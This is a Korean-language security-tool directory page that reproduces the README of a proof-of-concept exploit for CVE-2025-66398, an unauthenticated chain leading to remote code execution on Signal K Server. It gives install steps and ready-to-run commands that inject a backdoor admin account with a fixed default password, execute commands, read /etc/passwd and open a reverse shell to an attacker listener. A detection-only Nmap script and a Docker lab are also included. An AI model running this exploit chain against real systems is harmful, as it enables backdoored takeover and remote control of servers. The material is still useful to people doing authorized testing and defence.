Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/joshuavanderpoll/cve-2025-66398
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubjoshuavanderpoll/cve-2025-66398
276개월 전아직 검토되지 않음

cve-2025-66398

CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC

저장소 보기웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-66398 — Signal K Server RCE PoC

Go Python Nmap

📜 설명

CVE-2025-66398은 Signal K Server의 문제로, 인증되지 않은 공격자가 /skServer/validateBackup을 통해 서버의 복원 상태를 오염시키고, /skServer/restore를 통해 설정을 가로채서 백도어 관리자 계정을 주입한 후, 보안 전략을 공격자가 제어하는 Node.js 모듈로 전환하여 RCE를 달성할 수 있습니다.

영향받는 버전: Signal K Server ≤ 2.18.0

영향 (개괄): 인증되지 않은 상태 오염 → 백도어 관리자 주입 → 원격 코드 실행 (복원 및 재시작 시)

✨ 기능

  • 취약점 확인 — /skServer/validateBackup이 인증되지 않은 업로드를 수락하는지 테스트합니다.
  • Nmap NSE 스크립트 — 네트워크 스캔에 사용할 수 있는 http-signalk-cve-2025-66398.nse 파일 (검사 전용, 익스플로잇 없음).
  • 대화형 익스플로잇 흐름 — 3단계를 안내하며 자격 증명/경로를 입력하도록 요청합니다.
  • 비대화형 모드 — 플래그를 사용하여 전체 체인 실행 (검사, 명령 실행, 파일 읽기/쓰기, 리버스 셸).

🛠️ 설치

Python

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Go로 직접 설치

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-66398@latest

설치 없이 실행

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ 사용법

이 PoC는 두 가지 모드를 제공합니다:

  • 대화형 (기본): 안내 프롬프트 + 작은 메뉴.
  • 비대화형: -check, -command, -read-file 등의 플래그를 전달합니다. (첫 번째 성공적인 대화형 모드 이후에만 권장)

도움말 / 옵션

root@kitploit:~
python3 cve-2025-66398.py -h
# 또는 GoLang 릴리스
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K 상태 오염 -> 백도어 -> RCE

options:
  -h, --help            이 도움말 메시지를 보여주고 종료
  -target URL           Signal K 서버의 기본 URL
  -useragent UA         모든 HTTP 요청의 User-Agent 헤더
  -timeout SEC          요청 타임아웃 (초, 기본값: 10)
  -target-os OS         대상 서버 OS (페이로드/경로 조정): linux (기본값) 또는 windows
  -signalk-dir DIR      대상의 Signal K 데이터 디렉터리 재정의 (기본값: OS에 따라 결정)
  -check                익스플로잇 없이 대상이 취약한지 테스트
  -admin-user USER      2단계 복원을 위한 관리자 사용자 이름
  -admin-pass PASS      2단계 복원을 위한 관리자 비밀번호
  -backdoor-user USER   주입할 백도어 사용자 이름 (기본값: backdoor)
  -backdoor-pass PASS   주입할 백도어 비밀번호 (기본값: H4CK1nd3x!)
  -command CMD          서버에서 명령 실행 (비대화형)
  -read-file PATH       RCE를 통해 원격 파일 읽기
  -write-file CONTENT PATH
                        RCE를 통해 CONTENT를 서버의 PATH에 쓰기
  -code CODE            원시 Node.js 코드를 보안 모듈로 주입
  -shell                리버스 셸 배포 (-lhost 및 -lport 필요)
  -lhost HOST           리버스 셸용 리스너 호스트
  -lport PORT           리버스 셸용 리스너 포트

빠른 확인 (안전)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -check

취약점 확인

Nmap NSE 확인

독립형 Nmap 스크립트가 포함되어 있으며, 동일한 인증되지 않은 프로브를 수행합니다 (익스플로잇 없음).

root@kitploit:~
# 알려진 Signal K 포트에 대해
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# 시스템 전체에 설치하고 경로 없이 실행
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

출력 예시:

root@kitploit:~
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

대화형 익스플로잇 (안내)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000

대화형 스크립트

스크립트는 다음을 수행합니다:

  1. 1단계 — 상태 오염: /skServer/validateBackup에 악성 .backup 업로드 (인증 불필요)
  2. 2단계 — 설정 가로채기: 관리자로 인증하고 /skServer/restore 트리거
  3. 3단계 — RCE: 보안 전략을 악성 모듈로 가리키는 두 번째 백업 업로드, 복원 트리거, 재시작, 명령/셸 실행

비대화형 예제

전체 체인 실행 (1단계 → 3단계) 및 명령 실행:

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

명령 실행

원격 파일 읽기 (3단계):

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

파일 읽기

리버스 셸 (3단계):

root@kitploit:~
nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

리버스 셸

참고:

  • -admin-user/-admin-pass를 전달하지 않으면 스크립트는 이전 실행에서 백도어 계정이 이미 활성화되었다고 가정합니다.
  • 기본 백도어 자격 증명은 backdoor / H4CK1nd3x!입니다 (-backdoor-user / -backdoor-pass로 재정의).
  • 3단계는 Signal K 데이터 디렉터리가 필요합니다. 스크립트는 2단계 중 자동으로 감지하려고 시도하며, 실패할 경우 -signalk-dir <DIR>을 전달하세요.

🐋 Docker PoC

취약한 소프트웨어가 포함된 독립형 Docker Compose 환경으로 로컬 테스트에 사용할 수 있습니다. 자세한 내용은 DOCKER.md를 확인하세요.

root@kitploit:~
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360

🕵🏼 참고 자료

  • Signal K Server
  • NVD — CVE-2025-66398
  • HackIndex.io — CVE-2025-66398

📢 면책 조항

이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.

도구 다운로드